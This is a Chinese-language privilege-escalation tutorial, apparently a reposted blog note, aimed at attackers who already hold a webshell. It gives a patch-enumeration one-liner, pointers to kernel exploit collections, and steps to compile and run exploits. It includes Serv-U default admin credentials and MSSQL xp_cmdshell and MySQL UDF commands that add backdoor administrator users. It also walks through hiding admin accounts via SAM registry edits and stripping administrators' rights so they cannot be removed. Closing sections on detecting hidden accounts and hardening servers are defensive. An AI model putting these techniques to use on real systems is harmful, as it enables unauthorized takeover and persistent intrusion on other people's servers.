提权

来源:互联网 发布:河南奔驰网络办公平台 编辑:程序博客网 时间:2024/06/16 00:13

提权原理

提权:

  • 提高自己在操作系统中的权限,一般用于网站入侵和系统入侵中。
  • 但是,自己做渗透测试时最好不要提权,因为提权操作可能会造成蓝屏或者死机。
  • 如果一定要提权,记住一定要在本地进行测试,尽可能模拟真实环境。

web服务器的提权:

  • 通过基础的漏洞,在服务器上getshell或者获取到一定的访问权限,然后通过探查获取更多的权限,最终获取到管理员的权限

服务器提权分类:

  • linux提权和windows提权
  • 系统本身的漏洞提权和第三方服务的提权

系统漏洞:

  • 在github上可以找到对应版本的poc
  • https://github.com/secwiki
第三方服务:
  • FTP提权:serv-u ftp提权
  • Mssql提权:xp_cmdshell提权
  • Mysql提权:UDF提权和Mof提权
  • 还有别的第三方服务可以提权

Windows提权

获取系统信息:

  1. 先检查是否能不能执行cmd命令
    • 拿到shell的话,打开菜刀的虚拟终端,执行whoami,看能否执行
    • 如果失败,则可能是不能执行cmd命令,上传一个cmd.exe到一个可读可写可执行的目录
    • 如果成功,则查看当前用户的权限,net user 用户名,查看用户所属组
  2. 执行命令systeminfo,查看系统版本和已经安装的补丁
  3. 如果禁用了系统命令函数,则不能利用系统漏洞提权

根据已知的补丁寻找对应的漏洞和poc

• KB2360937 MS10-084
• KB2478960 MS11-014
• KB2507938 MS11-056
• KB2566454 MS11-062
• KB2646524 MS12-003
• KB2645640 MS12-009
• KB2641653 MS12-018
• KB944653 MS07-067
• KB952004 MS09-012 PR
• KB971657 MS09-041
• KB2620712 s
• KB2393802 MS11-011
• kb942831 MS08-005
• KB2503665 MS11-046
• KB2592799 MS11-080
• KB956572 MS09-012 巴西烤肉
• KB2621440 MS12-020
• KB977165 MS10-015 Ms Viru

可以通过脚本来找可以利用的漏洞
systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:\Windows\Temp\temp.txt| @find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\temp.txt

利用脚本提权

  • 利用刚刚找到的可利用漏洞的名字
  • 在这个网站https://github.com/SecWiki/windows-kernel-exploits,找对应的脚本poc

Linux提权

linux系统:

  • linux系统提权是针对内核版本而不是操作系统版本
  • 需要网站开启了执行系统命令的函数
  • 可以找到对应版本的漏洞
  • linux所有可执行程序都在/usr/bin目录下

查看系统信息:

查看系统版本信息

• cat /etc/issue
• cat /etc/*-release
• cat /etc/lsb-release
• cat /etc/redhat-release
• dmesg | grep Linux
• ls /boot | grep vmlinuz

查看内核版本信息

• cat /proc/version
• uname -a
• uname -mrs
• rpm -q kernel

获取对应版本的exp:

  • https://www.exploit-db.com/local/
  • https://github.com/SecWiki/linux-kernel-exploits
  • 这两个网站都有

利用exp

  • linux不能直接上传可执行程序,需要上传源代码,在目标服务器中编译
  • 上传exp.c
  • 将文件修改权限为可执行
  • 使用gcc编译exp(-o 后是编译后的文件名字)
gcc exp.c -o exploit [-lpthread]
  • 运行exp
./exploit

第三方服务提权

FTP提权:

  • Server-u是ftp的本地默认管理工具,默认端口是:43958,默认管理员:LocalAdministrator,默认密码:#l@$ak#.lk;0@P,这是集成在Serv-u内部的,可以以Guest权限来进行连接,对Serv-u进行管理。
  • 拿到webshell,通过本地链接Serv-u,获取到管理员权限。
  • 很多大马都有server-u提权的功能
  • 查看端口时,注意43958端口,如果有这个端口,很可能存在server-u提权

Msssql提权:

提权条件
  • Mssql如果通过管理员权限运行,并且以sa账户登陆,可以直接以管理员执行系统命令。(xp_cmdshell)
  • 默认情况下mssql的这个功能是被关闭的,通过命令开启:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
  • 如果xp_cmdshell被删除,可以尝试上传xplog70.dll进行恢复,恢复语句:
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll’
  • dll是windows的运行库的后缀名,可以用c语言编译生成
提权操作
  • 如果支持多语句执行:
exec master..xp_cmdshell "whoami";
  • 如果不支持多语句执行:
select * from openrowset('sqloledb','trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''net user luan lu4n.com /add'‘’)

Mysql提权:

mysql如果以管理员权限运行,可以udf和mof提权

在windows中
  • 上传udf.dll,MYSQL 5.1以下版本导出路径:
    1. C:\Winnt\udf.dll 2000
    2. C:\Windows\udf.dll 2003(有的系统\被转义,需要改为C:\Windows\udf.dll)
      导出DLL文件,导出时请勿必注意导出路径(一般情况下对任何目录可写,无需考虑权限问题)
  • MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数
在windows中执行系统命令
  • 上传udf.dll,执行mysql命令
returns string soname ‘导出的DLL路径’;create function cmdshell returns string soname ‘udf.dll’;select cmdshell(‘net user arsch arsch /add’);select cmdshell(‘net localgroup administrators arsch /add’);drop function cmdshell;
  • 如果禁用了cmdshell函数,可以在上传udf.dll里面修改cmdshell的名字
在linux中
  • 获取路径:
    show variables like “%plugin%”;
  • 上传lib_mysqludf_sys.so,
  • 上传目录一般是 mysql/plugin/
  • .so是linux的运行库的名字(c文件可以生成so文件)
  • 在/usr/bin下执行ldb 可以查看可执行程序关联的运行库
在linux中执行系统命令

执行mysql命令:

CREATE FUNCTION sys_exec RETURNS STRING SONAME lib_mysqludf_sys.soSELECT * FROM information_schema.routinesselect sys_exec(‘whoami’); -- (执行系统命令)
Linux下MySQL Udf 提权

http://blog.ourren.com/2015/03/10/linux_mysql_udf_shell/

防御方法

  • 权限分离(普通用户运行数据库环境,普通用户连接数据库)
  • 禁止执行系统命令
  • 及时打补丁

提权实验中的问题

windows命令行建立隐藏用户

在命令行中隐藏
  1. 命令行中输入net user test$ 123456 /add,显示命令执行成功
  2. 用net user查看,没有显示出来
  3. 用net user testtest是属于users组
  4. 这种用户也可以添加到管理员组,net localgroup administrators test$ /add
  5. 还可以通过通过,控制面板-管理工具-计算机管理-本地用户和组-用户,这里能看到test$用户
  6. 这种方式建立的隐藏用户很低级,只能糊弄粗心的管理员
在注册表中隐藏用户
  1. 这种情况一般是已经进到远程桌面,然后想创建一个隐藏用户,方便后渗透工作
  2. 先拿到注册表的修改权限,因为默认是关闭的
    • 点击”开始”→”运行”,输入”regedt32.exe”后回车,随后会弹出另一个”注册表编辑器”
    • 它可以修改系统账户操作注册表时的权限
    • 在regedt32.exe中来到”HKEY_LOCAL_MACHINE\SAM\SAM”处
    • 右键SAM选择权限-选中administrators-勾选完全控制-确定
  3. 将隐藏账户替换为管理员
    • 开始-运行-regedit打开注册表
    • 来到“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”处
    • 当前系统中所有存在的账户都会在这里显示,当然包括我们的隐藏账户
    • 点击我们的隐藏账户”test$”,在右边显示的键值中的”类型”一项显示为0x3e9
    • 向上来到”HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\”处,可以找到”000003E9”这一项,这两者是相互对应的,隐藏账户”piao$”的所有信息都在”000003E9”这一项中
    • 同样的,我们可以找到”administrator”账户所对应的项为”000001F4”
    • 将“testtest.reg”,同时将“000003E9”和“000001F4”项的F键值分别导出为user.reg,admin.reg
    • 用“记事本”打开admin.reg,将其中“F”值后面的内容复制下来,替换user.reg中的“F”值内容,完成后保存
    • 在命令行中输入“net user test$ /del”将我们建立的隐藏账户删除
    • 将test$.reg和user.reg导入注册表(直接将reg文件拖进注册表编辑器中即可),至此,隐藏账户制作完成
    • 这样做了之后通过,控制面板-管理工具-计算机管理-本地用户和组-用户,这种方法就看不到我们隐藏的用户了,但是在注册表中还是可以看到
      4.切断删除隐藏账户的途径
    • 有经验的系统管理员仍可能通过注册表编辑器删除我们的隐藏账户
    • 开始-运行-regedt32.exe,来到”HKEY_LOCAL_MACHINE\SAM\SAM”处
    • 设置”SAM”项的权限,将”administrators”所拥有的权限全部取消即可。
    • 这样,没有经验的管理员发现了隐藏用户也没办法删除
使用工具隐藏用户
  1. 对注册表进行操作危险性太高,很容易造成系统崩溃,所以我们用工具来做上述的操作
  2. 这个工具名叫“HideAdmin”,下载下来后解压到c盘。
  3. 然后运行“命令提示符”,输入“HideAdmin piaoContentnbsp;123456”即可
  4. 如果显示“Create a hiden Administrator piaoContentnbsp;Successed!”,则表示我们已经成功建立一个账户名为piao$,密码为123456的隐藏账户。
  5. 利用这款工具建立的账户隐藏效果和上文中修改注册表的效果是一样的。
清除隐藏用户
  1. 对于使用$创建隐藏用户而言
    黑客一般会添加到管理员组,可以在命令行中输入net localgroup administrators,可以看到隐藏用户。还可以通过控制面板-管理工具-计算机管理-本地用户和组-用户,来查看用户
  2. 对于修改注册表型隐藏账户
    进到注册表,通过“HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names”处的用户和计算机管理处的用户进行对比,即可看出隐藏用户。想要删除它也很简单,直接删除以隐藏账户命名的项即可。
  3. 无法看到名称的隐藏账户
    如果黑客制作了一个修改注册表型隐藏账户,在此基础上删除了管理员对注册表的操作权限。那么管理员是无法通过注册表删除隐藏账户的,甚至无法知道黑客建立的隐藏账户名称。不过世事没有绝对,我们可以借助“组策略”的帮助,让黑客无法通过隐藏账户登陆。点击“开始”→“运行”,输入“gpedit.msc”运行“组策略”,依次展开“计算机配置”→“Windows 设置”→“安全设置”→“本地策略”→“审核策略”,双击右边的“审核策略更改”,在弹出的设置窗口中勾选“成功”,然后点“确定”。对“审核登陆事件”和“审核过程追踪”进行相同的设置。
  4. 开启登陆事件审核功能
    进行登陆审核后,可以对任何账户的登陆操作进行记录,包括隐藏账户,这样我们就可以通过“计算机管理”中的“事件查看器”准确得知隐藏账户的名称,甚至黑客登陆的时间。即使黑客将所有的登陆日志删除,系统还会记录是哪个账户删除了系统日志,这样黑客的隐藏账户就暴露无疑了。
  5. 通过事件查看器找到隐藏帐户
    得知隐藏账户的名称后就好办了,但是我们仍然不能删除这个隐藏账户,因为我们没有权限。但是我们可以在“命令提示符”中输入“net user 隐藏账户名称 654321”更改这个隐藏账户的密码。这样这个隐藏账户就会失效,黑客无法再用这个隐藏账户登陆。

linux建立隐藏用户

web入口添加哪些设备有利于防护黑客入侵

  1. Web应用防火墙(WAF)
  2. 入侵检测系统(IDS)

服务器安全应该注意以下几点

  • 修改远程桌面端口
  • 对administrators用户进行重命名,停用gurst用户
  • 开启Windows防火墙,并添加对应的规则
  • 禁止无关服务
  • 禁止IPC空连接
  • 删除默认共享
  • 对策略进行配置
  • 及时的更新最新漏洞补丁
原创粉丝点击